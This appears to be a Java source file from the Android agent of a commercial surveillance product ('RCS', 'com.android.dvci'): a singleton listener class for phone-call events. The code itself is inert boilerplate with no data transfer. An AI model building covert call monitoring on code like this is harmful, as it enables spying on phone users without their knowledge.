/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : ListenerCall.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.listener; import com.android.dvci.Call; public class ListenerCall extends Listener<Call> { /** The Constant TAG. */ private static final String TAG = "ListenerCall"; //$NON-NLS-1$ private BC callReceiver; /** The singleton. */ private volatile static ListenerCall singleton; /** * Self. * * @return the status */ public static ListenerCall self() { if (singleton == null) { synchronized (ListenerCall.class) { if (singleton == null) { singleton = new ListenerCall(); } } } return singleton; } @Override protected void start() { registerCall(); } @Override protected void stop() { } /** * Register Power Connected/Disconnected. */ private void registerCall() { callReceiver = new BC(); } @Override public int dispatch(Call call) { return super.dispatch(call); } }